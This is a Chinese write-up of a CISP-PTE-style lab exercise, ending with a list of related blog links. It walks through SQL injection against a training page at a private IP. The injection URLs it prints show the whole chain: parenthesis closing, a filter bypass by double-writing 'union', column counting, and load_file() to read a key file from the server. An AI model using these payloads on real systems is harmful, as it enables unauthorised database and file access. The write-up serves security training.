cisp-pte之SQL注入题之vulnerabilities/fu1.php?id=1

1、审题

通过这个内容可以知道key就在/tmp/360/key文件里面,那么如何能够拿到key,那就需要能够把/tmp/360/key读取出来,所以第一时间想到的函数就是load_file()

2、探测

接下来就开始一步步探测

1、and探测

bash 复制代码
http://192.168.169.100:81/vulnerabilities/fu1.php?id=1%20and%201=1

从图片可以看出id后面有一个括号,所以接下来需要让括号闭合

2、闭合探测

bash 复制代码
http://192.168.169.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=1

发现括号倒是闭合啦,但是页面没返回数据,没事,继续探测

3、union探测

接下来探测一下有多少个字段,首先考虑的是联合查询

bash 复制代码
http://192.168.169.100:81/vulnerabilities/fu1.php?id=1')/**/and/**/1=2/**/union/**/select/**/1,2,3%23

发现union被过滤掉了

4、union双写探测

bash 复制代码
http://192.168.169.100:81/vulnerabilities/fu1.php?id=1')/**/and/**/1=2/**/uniunionon/**/select/**/1,2,3%23

这里union虽然被过滤了,但是剩下的前后部分正好组合成了一个新的union

5、字段数探测

上面3个字段没返回数据,试试4个

bash 复制代码
http://192.168.169.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/uniunionon/**/select/**/1,2,3,4%23

太好了,这里终于露出了破绽,标题分别是2,作者分别是4,内容分别是3

接下来尝试在标题,也就是2的位置加载/tmp/360/key,因为我们的目的是拿到这个key

3、拿key

继续构造查询语句,从上面我们已经知道,这个表有4个字段,那么继续使用union联合查询,并且按照4个字段进行查询,只是在标题2的位置我们通过load_file查询key

bash 复制代码
http://192.168.169.100:81/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/uniunionon/**/select/**/1,load_file(%27/tmp/360/key%27),3,4%23

从图片可以看出,我们轻松就拿到了key

这里需要特别强调一下,为什么后面会有%23,因为这是#的url编码,从种种迹象表明数据库是mysql,而不是mssql,如果是mssql需要用--,而不是#,所以最后这里加上#是为了注释掉后面的内容,防止有sql语法错误,sql语句不能正确执行

相关推荐
麦聪聊数据18 分钟前
QuickAPI 在系统数据 API 化中的架构选型与集成
数据库·sql·低代码·微服务·架构
2403_8355684718 分钟前
自然语言处理(NLP)入门:使用NLTK和Spacy
jvm·数据库·python
wal131452028 分钟前
Dify发布V1.13.1版本,Hologres 向量数据库支持、HITL 邮件 Markdown 渲染及多项安全加固
数据库·安全·dify
Leon-Ning Liu1 小时前
Oracle UNDO表空间文件误删除故障恢复
数据库·oracle
2301_776508722 小时前
用Python生成艺术:分形与算法绘图
jvm·数据库·python
cxr8282 小时前
PaperclipAI 组织关系与智能体协作指南
数据库·人工智能·架构·ai智能体·openclaw
@insist1232 小时前
数据库系统工程师-Armstrong 公理系统:函数依赖推理与候选码求解核心方法论(重点)
数据库·软考·软件设计师·软件水平考试
山峰哥3 小时前
查询优化案例:从慢查询到闪电般的查询速度
数据库·sql·性能优化·编辑器·深度优先
杨云龙UP3 小时前
Oracle ASM磁盘组空间分配与冗余理解
linux·运维·数据库·sql·oracle
微学AI4 小时前
一款数据库SQL防火墙:可以拦截99.99%,可以阻止恶意SQL
数据库·sql